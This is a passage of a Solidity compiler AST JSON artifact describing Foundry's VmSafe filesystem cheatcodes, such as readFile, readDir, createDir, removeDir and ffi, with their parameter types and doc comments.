root."},"functionSelector":"a54a87d8","implemented":false,"kind":"function","modifiers":[],"name":"copyFile","nameLocation":"20683:8:13","parameters":{"id":12689,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12686,"mutability":"mutable","name":"from","nameLocation":"20708:4:13","nodeType":"VariableDeclaration","scope":12693,"src":"20692:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12685,"name":"string","nodeType":"ElementaryTypeName","src":"20692:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12688,"mutability":"mutable","name":"to","nameLocation":"20730:2:13","nodeType":"VariableDeclaration","scope":12693,"src":"20714:18:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12687,"name":"string","nodeType":"ElementaryTypeName","src":"20714:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"20691:42:13"},"returnParameters":{"id":12692,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12691,"mutability":"mutable","name":"copied","nameLocation":"20759:6:13","nodeType":"VariableDeclaration","scope":12693,"src":"20752:13:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":12690,"name":"uint64","nodeType":"ElementaryTypeName","src":"20752:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"20751:15:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12701,"nodeType":"FunctionDefinition","src":"21172:66:13","nodes":[],"documentation":{"id":12694,"nodeType":"StructuredDocumentation","src":"20773:394:13","text":"Creates a new, empty directory at the provided path.\n This cheatcode will revert in the following situations, but is not limited to just these cases:\n - User lacks permissions to modify `path`.\n - A parent of the given path doesn't exist and `recursive` is false.\n - `path` already exists and `recursive` is false.\n `path` is relative to the project root."},"functionSelector":"168b64d3","implemented":false,"kind":"function","modifiers":[],"name":"createDir","nameLocation":"21181:9:13","parameters":{"id":12699,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12696,"mutability":"mutable","name":"path","nameLocation":"21207:4:13","nodeType":"VariableDeclaration","scope":12701,"src":"21191:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12695,"name":"string","nodeType":"ElementaryTypeName","src":"21191:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12698,"mutability":"mutable","name":"recursive","nameLocation":"21218:9:13","nodeType":"VariableDeclaration","scope":12701,"src":"21213:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12697,"name":"bool","nodeType":"ElementaryTypeName","src":"21213:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"21190:38:13"},"returnParameters":{"id":12700,"nodeType":"ParameterList","parameters":[],"src":"21237:0:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12709,"nodeType":"FunctionDefinition","src":"21333:69:13","nodes":[],"documentation":{"id":12702,"nodeType":"StructuredDocumentation","src":"21244:84:13","text":"Returns true if the given path points to an existing entity, else returns false."},"functionSelector":"261a323e","implemented":false,"kind":"function","modifiers":[],"name":"exists","nameLocation":"21342:6:13","parameters":{"id":12705,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12704,"mutability":"mutable","name":"path","nameLocation":"21365:4:13","nodeType":"VariableDeclaration","scope":12709,"src":"21349:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12703,"name":"string","nodeType":"ElementaryTypeName","src":"21349:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"21348:22:13"},"returnParameters":{"id":12708,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12707,"mutability":"mutable","name":"result","nameLocation":"21394:6:13","nodeType":"VariableDeclaration","scope":12709,"src":"21389:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12706,"name":"bool","nodeType":"ElementaryTypeName","src":"21389:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"21388:13:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12718,"nodeType":"FunctionDefinition","src":"21467:84:13","nodes":[],"documentation":{"id":12710,"nodeType":"StructuredDocumentation","src":"21408:54:13","text":"Performs a foreign function call via the terminal."},"functionSelector":"89160467","implemented":false,"kind":"function","modifiers":[],"name":"ffi","nameLocation":"21476:3:13","parameters":{"id":12714,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12713,"mutability":"mutable","name":"commandInput","nameLocation":"21498:12:13","nodeType":"VariableDeclaration","scope":12718,"src":"21480:30:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_array$_t_string_calldata_ptr_$dyn_calldata_ptr","typeString":"string[]"},"typeName":{"baseType":{"id":12711,"name":"string","nodeType":"ElementaryTypeName","src":"21480:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"id":12712,"nodeType":"ArrayTypeName","src":"21480:8:13","typeDescriptions":{"typeIdentifier":"t_array$_t_string_storage_$dyn_storage_ptr","typeString":"string[]"}},"visibility":"internal"}],"src":"21479:32:13"},"returnParameters":{"id":12717,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12716,"mutability":"mutable","name":"result","nameLocation":"21543:6:13","nodeType":"VariableDeclaration","scope":12718,"src":"21530:19:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":12715,"name":"bytes","nodeType":"ElementaryTypeName","src":"21530:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"21529:21:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12727,"nodeType":"FunctionDefinition","src":"21650:93:13","nodes":[],"documentation":{"id":12719,"nodeType":"StructuredDocumentation","src":"21557:88:13","text":"Given a path, query the file system to get information about a file, directory, etc."},"functionSelector":"af368a08","implemented":false,"kind":"function","modifiers":[],"name":"fsMetadata","nameLocation":"21659:10:13","parameters":{"id":12722,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12721,"mutability":"mutable","name":"path","nameLocation":"21686:4:13","nodeType":"VariableDeclaration","scope":12727,"src":"21670:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12720,"name":"string","nodeType":"ElementaryTypeName","src":"21670:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"21669:22:13"},"returnParameters":{"id":12726,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12725,"mutability":"mutable","name":"metadata","nameLocation":"21733:8:13","nodeType":"VariableDeclaration","scope":12727,"src":"21715:26:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_struct$_FsMetadata_$12115_memory_ptr","typeString":"struct VmSafe.FsMetadata"},"typeName":{"id":12724,"nodeType":"UserDefinedTypeName","pathNode":{"id":12723,"name":"FsMetadata","nameLocations":["21715:10:13"],"nodeType":"IdentifierPath","referencedDeclaration":12115,"src":"21715:10:13"},"referencedDeclaration":12115,"src":"21715:10:13","typeDescriptions":{"typeIdentifier":"t_struct$_FsMetadata_$12115_storage_ptr","typeString":"struct VmSafe.FsMetadata"}},"visibility":"internal"}],"src":"21714:28:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12735,"nodeType":"FunctionDefinition","src":"21852:101:13","nodes":[],"documentation":{"id":12728,"nodeType":"StructuredDocumentation","src":"21749:98:13","text":"Gets the creation bytecode from an artifact file. Takes in the relative path to the json file."},"functionSelector":"8d1cc925","implemented":false,"kind":"function","modifiers":[],"name":"getCode","nameLocation":"21861:7:13","parameters":{"id":12731,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12730,"mutability":"mutable","name":"artifactPath","nameLocation":"21885:12:13","nodeType":"VariableDeclaration","scope":12735,"src":"21869:28:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12729,"name":"string","nodeType":"ElementaryTypeName","src":"21869:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"21868:30:13"},"returnParameters":{"id":12734,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12733,"mutability":"mutable","name":"creationBytecode","nameLocation":"21935:16:13","nodeType":"VariableDeclaration","scope":12735,"src":"21922:29:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":12732,"name":"bytes","nodeType":"ElementaryTypeName","src":"21922:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"21921:31:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12743,"nodeType":"FunctionDefinition","src":"22062:108:13","nodes":[],"documentation":{"id":12736,"nodeType":"StructuredDocumentation","src":"21959:98:13","text":"Gets the deployed bytecode from an artifact file. Takes in the relative path to the json file."},"functionSelector":"3ebf73b4","implemented":false,"kind":"function","modifiers":[],"name":"getDeployedCode","nameLocation":"22071:15:13","parameters":{"id":12739,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12738,"mutability":"mutable","name":"artifactPath","nameLocation":"22103:12:13","nodeType":"VariableDeclaration","scope":12743,"src":"22087:28:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12737,"name":"string","nodeType":"ElementaryTypeName","src":"22087:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"22086:30:13"},"returnParameters":{"id":12742,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12741,"mutability":"mutable","name":"runtimeBytecode","nameLocation":"22153:15:13","nodeType":"VariableDeclaration","scope":12743,"src":"22140:28:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":12740,"name":"bytes","nodeType":"ElementaryTypeName","src":"22140:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"22139:30:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12751,"nodeType":"FunctionDefinition","src":"22276:68:13","nodes":[],"documentation":{"id":12744,"nodeType":"StructuredDocumentation","src":"22176:95:13","text":"Returns true if the path exists on disk and is pointing at a directory, else returns false."},"functionSelector":"7d15d019","implemented":false,"kind":"function","modifiers":[],"name":"isDir","nameLocation":"22285:5:13","parameters":{"id":12747,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12746,"mutability":"mutable","name":"path","nameLocation":"22307:4:13","nodeType":"VariableDeclaration","scope":12751,"src":"22291:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12745,"name":"string","nodeType":"ElementaryTypeName","src":"22291:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"22290:22:13"},"returnParameters":{"id":12750,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12749,"mutability":"mutable","name":"result","nameLocation":"22336:6:13","nodeType":"VariableDeclaration","scope":12751,"src":"22331:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12748,"name":"bool","nodeType":"ElementaryTypeName","src":"22331:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"22330:13:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12759,"nodeType":"FunctionDefinition","src":"22453:69:13","nodes":[],"documentation":{"id":12752,"nodeType":"StructuredDocumentation","src":"22350:98:13","text":"Returns true if the path exists on disk and is pointing at a regular file, else returns false."},"functionSelector":"e0eb04d4","implemented":false,"kind":"function","modifiers":[],"name":"isFile","nameLocation":"22462:6:13","parameters":{"id":12755,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12754,"mutability":"mutable","name":"path","nameLocation":"22485:4:13","nodeType":"VariableDeclaration","scope":12759,"src":"22469:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12753,"name":"string","nodeType":"ElementaryTypeName","src":"22469:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"22468:22:13"},"returnParameters":{"id":12758,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12757,"mutability":"mutable","name":"result","nameLocation":"22514:6:13","nodeType":"VariableDeclaration","scope":12759,"src":"22509:11:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12756,"name":"bool","nodeType":"ElementaryTypeName","src":"22509:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"22508:13:13"},"scope":15098,"stateMutability":"nonpayable","virtual":false,"visibility":"external"},{"id":12765,"nodeType":"FunctionDefinition","src":"22578:66:13","nodes":[],"documentation":{"id":12760,"nodeType":"StructuredDocumentation","src":"22528:45:13","text":"Get the path of the current project root."},"functionSelector":"d930a0e6","implemented":false,"kind":"function","modifiers":[],"name":"projectRoot","nameLocation":"22587:11:13","parameters":{"id":12761,"nodeType":"ParameterList","parameters":[],"src":"22598:2:13"},"returnParameters":{"id":12764,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12763,"mutability":"mutable","name":"path","nameLocation":"22638:4:13","nodeType":"VariableDeclaration","scope":12765,"src":"22624:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":12762,"name":"string","nodeType":"ElementaryTypeName","src":"22624:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"22623:20:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12775,"nodeType":"FunctionDefinition","src":"22892:89:13","nodes":[],"documentation":{"id":12766,"nodeType":"StructuredDocumentation","src":"22650:237:13","text":"Reads the directory at the given path recursively, up to `maxDepth`.\n `maxDepth` defaults to 1, meaning only the direct children of the given directory will be returned.\n Follows symbolic links if `followLinks` is true."},"functionSelector":"c4bc59e0","implemented":false,"kind":"function","modifiers":[],"name":"readDir","nameLocation":"22901:7:13","parameters":{"id":12769,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12768,"mutability":"mutable","name":"path","nameLocation":"22925:4:13","nodeType":"VariableDeclaration","scope":12775,"src":"22909:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12767,"name":"string","nodeType":"ElementaryTypeName","src":"22909:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"22908:22:13"},"returnParameters":{"id":12774,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12773,"mutability":"mutable","name":"entries","nameLocation":"22972:7:13","nodeType":"VariableDeclaration","scope":12775,"src":"22954:25:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_DirEntry_$12099_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.DirEntry[]"},"typeName":{"baseType":{"id":12771,"nodeType":"UserDefinedTypeName","pathNode":{"id":12770,"name":"DirEntry","nameLocations":["22954:8:13"],"nodeType":"IdentifierPath","referencedDeclaration":12099,"src":"22954:8:13"},"referencedDeclaration":12099,"src":"22954:8:13","typeDescriptions":{"typeIdentifier":"t_struct$_DirEntry_$12099_storage_ptr","typeString":"struct VmSafe.DirEntry"}},"id":12772,"nodeType":"ArrayTypeName","src":"22954:10:13","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_DirEntry_$12099_storage_$dyn_storage_ptr","typeString":"struct VmSafe.DirEntry[]"}},"visibility":"internal"}],"src":"22953:27:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12787,"nodeType":"FunctionDefinition","src":"23018:106:13","nodes":[],"documentation":{"id":12776,"nodeType":"StructuredDocumentation","src":"22987:26:13","text":"See `readDir(string)`."},"functionSelector":"1497876c","implemented":false,"kind":"function","modifiers":[],"name":"readDir","nameLocation":"23027:7:13","parameters":{"id":12781,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12778,"mutability":"mutable","name":"path","nameLocation":"23051:4:13","nodeType":"VariableDeclaration","scope":12787,"src":"23035:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12777,"name":"string","nodeType":"ElementaryTypeName","src":"23035:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12780,"mutability":"mutable","name":"maxDepth","nameLocation":"23064:8:13","nodeType":"VariableDeclaration","scope":12787,"src":"23057:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":12779,"name":"uint64","nodeType":"ElementaryTypeName","src":"23057:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"}],"src":"23034:39:13"},"returnParameters":{"id":12786,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12785,"mutability":"mutable","name":"entries","nameLocation":"23115:7:13","nodeType":"VariableDeclaration","scope":12787,"src":"23097:25:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_DirEntry_$12099_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.DirEntry[]"},"typeName":{"baseType":{"id":12783,"nodeType":"UserDefinedTypeName","pathNode":{"id":12782,"name":"DirEntry","nameLocations":["23097:8:13"],"nodeType":"IdentifierPath","referencedDeclaration":12099,"src":"23097:8:13"},"referencedDeclaration":12099,"src":"23097:8:13","typeDescriptions":{"typeIdentifier":"t_struct$_DirEntry_$12099_storage_ptr","typeString":"struct VmSafe.DirEntry"}},"id":12784,"nodeType":"ArrayTypeName","src":"23097:10:13","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_DirEntry_$12099_storage_$dyn_storage_ptr","typeString":"struct VmSafe.DirEntry[]"}},"visibility":"internal"}],"src":"23096:27:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12801,"nodeType":"FunctionDefinition","src":"23161:148:13","nodes":[],"documentation":{"id":12788,"nodeType":"StructuredDocumentation","src":"23130:26:13","text":"See `readDir(string)`."},"functionSelector":"8102d70d","implemented":false,"kind":"function","modifiers":[],"name":"readDir","nameLocation":"23170:7:13","parameters":{"id":12795,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12790,"mutability":"mutable","name":"path","nameLocation":"23194:4:13","nodeType":"VariableDeclaration","scope":12801,"src":"23178:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12789,"name":"string","nodeType":"ElementaryTypeName","src":"23178:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12792,"mutability":"mutable","name":"maxDepth","nameLocation":"23207:8:13","nodeType":"VariableDeclaration","scope":12801,"src":"23200:15:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"},"typeName":{"id":12791,"name":"uint64","nodeType":"ElementaryTypeName","src":"23200:6:13","typeDescriptions":{"typeIdentifier":"t_uint64","typeString":"uint64"}},"visibility":"internal"},{"constant":false,"id":12794,"mutability":"mutable","name":"followLinks","nameLocation":"23222:11:13","nodeType":"VariableDeclaration","scope":12801,"src":"23217:16:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12793,"name":"bool","nodeType":"ElementaryTypeName","src":"23217:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"23177:57:13"},"returnParameters":{"id":12800,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12799,"mutability":"mutable","name":"entries","nameLocation":"23300:7:13","nodeType":"VariableDeclaration","scope":12801,"src":"23282:25:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_DirEntry_$12099_memory_ptr_$dyn_memory_ptr","typeString":"struct VmSafe.DirEntry[]"},"typeName":{"baseType":{"id":12797,"nodeType":"UserDefinedTypeName","pathNode":{"id":12796,"name":"DirEntry","nameLocations":["23282:8:13"],"nodeType":"IdentifierPath","referencedDeclaration":12099,"src":"23282:8:13"},"referencedDeclaration":12099,"src":"23282:8:13","typeDescriptions":{"typeIdentifier":"t_struct$_DirEntry_$12099_storage_ptr","typeString":"struct VmSafe.DirEntry"}},"id":12798,"nodeType":"ArrayTypeName","src":"23282:10:13","typeDescriptions":{"typeIdentifier":"t_array$_t_struct$_DirEntry_$12099_storage_$dyn_storage_ptr","typeString":"struct VmSafe.DirEntry[]"}},"visibility":"internal"}],"src":"23281:27:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12809,"nodeType":"FunctionDefinition","src":"23407:83:13","nodes":[],"documentation":{"id":12802,"nodeType":"StructuredDocumentation","src":"23315:87:13","text":"Reads the entire content of file to string. `path` is relative to the project root."},"functionSelector":"60f9bb11","implemented":false,"kind":"function","modifiers":[],"name":"readFile","nameLocation":"23416:8:13","parameters":{"id":12805,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12804,"mutability":"mutable","name":"path","nameLocation":"23441:4:13","nodeType":"VariableDeclaration","scope":12809,"src":"23425:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12803,"name":"string","nodeType":"ElementaryTypeName","src":"23425:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"23424:22:13"},"returnParameters":{"id":12808,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12807,"mutability":"mutable","name":"data","nameLocation":"23484:4:13","nodeType":"VariableDeclaration","scope":12809,"src":"23470:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":12806,"name":"string","nodeType":"ElementaryTypeName","src":"23470:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"23469:20:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12817,"nodeType":"FunctionDefinition","src":"23588:88:13","nodes":[],"documentation":{"id":12810,"nodeType":"StructuredDocumentation","src":"23496:87:13","text":"Reads the entire content of file as binary. `path` is relative to the project root."},"functionSelector":"16ed7bc4","implemented":false,"kind":"function","modifiers":[],"name":"readFileBinary","nameLocation":"23597:14:13","parameters":{"id":12813,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12812,"mutability":"mutable","name":"path","nameLocation":"23628:4:13","nodeType":"VariableDeclaration","scope":12817,"src":"23612:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12811,"name":"string","nodeType":"ElementaryTypeName","src":"23612:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"23611:22:13"},"returnParameters":{"id":12816,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12815,"mutability":"mutable","name":"data","nameLocation":"23670:4:13","nodeType":"VariableDeclaration","scope":12817,"src":"23657:17:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_bytes_memory_ptr","typeString":"bytes"},"typeName":{"id":12814,"name":"bytes","nodeType":"ElementaryTypeName","src":"23657:5:13","typeDescriptions":{"typeIdentifier":"t_bytes_storage_ptr","typeString":"bytes"}},"visibility":"internal"}],"src":"23656:19:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12825,"nodeType":"FunctionDefinition","src":"23725:83:13","nodes":[],"documentation":{"id":12818,"nodeType":"StructuredDocumentation","src":"23682:38:13","text":"Reads next line of file to string."},"functionSelector":"70f55728","implemented":false,"kind":"function","modifiers":[],"name":"readLine","nameLocation":"23734:8:13","parameters":{"id":12821,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12820,"mutability":"mutable","name":"path","nameLocation":"23759:4:13","nodeType":"VariableDeclaration","scope":12825,"src":"23743:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12819,"name":"string","nodeType":"ElementaryTypeName","src":"23743:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"23742:22:13"},"returnParameters":{"id":12824,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12823,"mutability":"mutable","name":"line","nameLocation":"23802:4:13","nodeType":"VariableDeclaration","scope":12825,"src":"23788:18:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":12822,"name":"string","nodeType":"ElementaryTypeName","src":"23788:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"23787:20:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12833,"nodeType":"FunctionDefinition","src":"24067:93:13","nodes":[],"documentation":{"id":12826,"nodeType":"StructuredDocumentation","src":"23814:248:13","text":"Reads a symbolic link, returning the path that the link points to.\n This cheatcode will revert in the following situations, but is not limited to just these cases:\n - `path` is not a symbolic link.\n - `path` does not exist."},"functionSelector":"9f5684a2","implemented":false,"kind":"function","modifiers":[],"name":"readLink","nameLocation":"24076:8:13","parameters":{"id":12829,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12828,"mutability":"mutable","name":"linkPath","nameLocation":"24101:8:13","nodeType":"VariableDeclaration","scope":12833,"src":"24085:24:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12827,"name":"string","nodeType":"ElementaryTypeName","src":"24085:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"24084:26:13"},"returnParameters":{"id":12832,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12831,"mutability":"mutable","name":"targetPath","nameLocation":"24148:10:13","nodeType":"VariableDeclaration","scope":12833,"src":"24134:24:13","stateVariable":false,"storageLocation":"memory","typeDescriptions":{"typeIdentifier":"t_string_memory_ptr","typeString":"string"},"typeName":{"id":12830,"name":"string","nodeType":"ElementaryTypeName","src":"24134:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"}],"src":"24133:26:13"},"scope":15098,"stateMutability":"view","virtual":false,"visibility":"external"},{"id":12841,"nodeType":"FunctionDefinition","src":"24550:66:13","nodes":[],"documentation":{"id":12834,"nodeType":"StructuredDocumentation","src":"24166:379:13","text":"Removes a directory at the provided path.\n This cheatcode will revert in the following situations, but is not limited to just these cases:\n - `path` doesn't exist.\n - `path` isn't a directory.\n - User lacks permissions to modify `path`.\n - The directory is not empty and `recursive` is false.\n `path` is relative to the project root."},"functionSelector":"45c62011","implemented":false,"kind":"function","modifiers":[],"name":"removeDir","nameLocation":"24559:9:13","parameters":{"id":12839,"nodeType":"ParameterList","parameters":[{"constant":false,"id":12836,"mutability":"mutable","name":"path","nameLocation":"24585:4:13","nodeType":"VariableDeclaration","scope":12841,"src":"24569:20:13","stateVariable":false,"storageLocation":"calldata","typeDescriptions":{"typeIdentifier":"t_string_calldata_ptr","typeString":"string"},"typeName":{"id":12835,"name":"string","nodeType":"ElementaryTypeName","src":"24569:6:13","typeDescriptions":{"typeIdentifier":"t_string_storage_ptr","typeString":"string"}},"visibility":"internal"},{"constant":false,"id":12838,"mutability":"mutable","name":"recursive","nameLocation":"24596:9:13","nodeType":"VariableDeclaration","scope":12841,"src":"24591:14:13","stateVariable":false,"storageLocation":"default","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"},"typeName":{"id":12837,"name":"bool","nodeType":"ElementaryTypeName","src":"24591:4:13","typeDescriptions":{"typeIdentifier":"t_bool","typeString":"bool"}},"visibility":"internal"}],"src":"24568:38: